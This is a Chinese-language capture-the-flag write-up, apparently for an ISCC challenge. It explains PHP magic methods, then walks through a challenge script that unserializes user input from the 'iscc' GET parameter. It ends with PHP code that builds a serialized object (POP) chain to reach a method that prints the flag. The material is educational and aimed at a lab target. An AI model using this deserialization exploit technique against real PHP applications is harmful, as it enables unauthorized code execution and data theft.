再解释源代码之前,我们需要先了解一下这个php的魔术方法
在解释源代码之前,我们需要先了解一下这个php的魔术方法
- __construct(),类的构造函数
- __destruct(),类的析构函数
- __call(),在对象中调用一个不可访问方法时调用
- __callStatic(),用静态方式中调用一个不可访问方法时调用
- __get(),获得一个类的成员变量时调用
- __set(),设置一个类的成员变量时调用
- __isset(),当对不可访问属性调用isset()或empty()时调用
- __unset(),当对不可访问属性调用unset()时被调用。
- __sleep(),执行serialize()时,先会调用这个函数
- __wakeup(),执行unserialize()时,先会调用这个函数
- __toString(),类被当成字符串时的回应方法
- __invoke(),调用函数的方式调用一个对象时的回应方法
- __set_state(),调用var_export()导出类时,此静态方法会被调用。
- __clone(),当对象复制完成时调用
- __autoload(),尝试加载未定义的类
- __debugInfo(),打印所需调试信息
然后再来看源代码
<?php
include("./xxxiscc.php");
class boy {
public $like;
public function __destruct() {
echo "能请你喝杯奶茶吗?<br>";
@$this->like->make_friends();
}
public function __toString() {
echo "拱火大法好<br>";
return $this->like->string;
}
}
class girl {
private $boyname;
public function __call($func, $args) {
echo "我害羞羞<br>";
isset($this->boyname->name);
}
}
class helper {
private $name;
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __isset($val) {
echo "僚机上线<br>";
echo $this->name;
}
public function __get($name) {
echo "僚机不懈努力<br>";
$var = $this->$name;
$var[$name]();
}
}
class love_story {
public function love() {
echo "爱情萌芽<br>";
array_walk($this, function($make, $colo){
echo "坠入爱河,给你爱的密码<br>";
if ($make[0] === "girl_and_boy" && $colo === "fall_in_love") {
global $flag;
echo $flag;
}
});
}
}
if (isset($_GET["iscc"])) {
$a=unserialize($_GET['iscc']);
} else {
highlight_file(__FILE__);
}
当这个php代码开始走的时候,先是__destruct()魔术方法被触发,然后echo出句子,当进行到
$this->like->make_friends(); 发现它调用了一个make_friends方法,但是这个方法不存在,所以触发call()魔术方法,在__call()中,echo出句子后,进行**isset($this->boyname->name);**会发现其触发了____isset()魔术方法
因为我们可以从代码里看到这俩个属性都是私有的,不可访问。
那么我们继续走,当进行isset()魔术方法时,echo出它的句子,然后发现其**echo $this->name;**发现name前没加$,意思为name被当成字符串,所以会发现其触发__toString()魔术方法
echo出句子,然后进行return $this->like->string;
string是类helper里的成员变量。所以触发了__get()魔术方法。echo出句子后
$var = $this->$name;
$var 【$name](); 从当前对象实例中获取一个变量,使用$name变量中指定的变量名称。然后,它尝试调用检索到的变量上的方法,使用相同的$name值作为方法名。(还是有点不太清楚)然后就是往下走类。
满足$colo强等于”fall_in_love”,且数组[0]=”girl_and_boy”;
所以就可以构建出一个链表并以此来写出PHP代码
class boy{
public $like;
}
class girl{
public $boyname;
}
class helper{
public $name;
public $string;
public function __construct(){
$this->string=array("string"=>array(new love_story(),"love"));
}//这是一个公共函数构造器(__construct),它需要一个字符串作为参数。在函数内部,将传入的字符串赋值给类的属性 $this->string。其中包含一个名为 "string" 的属性,它是一个数组,该数组包含了一个新的 love_story 对象和一个字符串 "love"
}
class love_story{
public $fall_in_love=array(0=>'girl_and_boy');
}
上半部分就是将类进行书写。以及满足love_story类中的条件。
$b1 = new boy();
$b = new boy();
$g = new girl();
$h1 = new helper();
$h = new helper();
$l = new love_story();
$h->string=array("string"=>array(new love_story(),"love"));
$b->like=$h;
$h1->name=$b;
$g->boyname=$h1;
$b1->like=$g;
echo serialize($b1);
下半函数就是我们的链表,也就是上面我所说的按照那个顺序一步一步走,最后到达
$h->string=array(“string”=>array(new love_story(),”love”)); 然后get传参iscc=序列化后的结果,得到线索
从这些被echo的句子也能看出链表。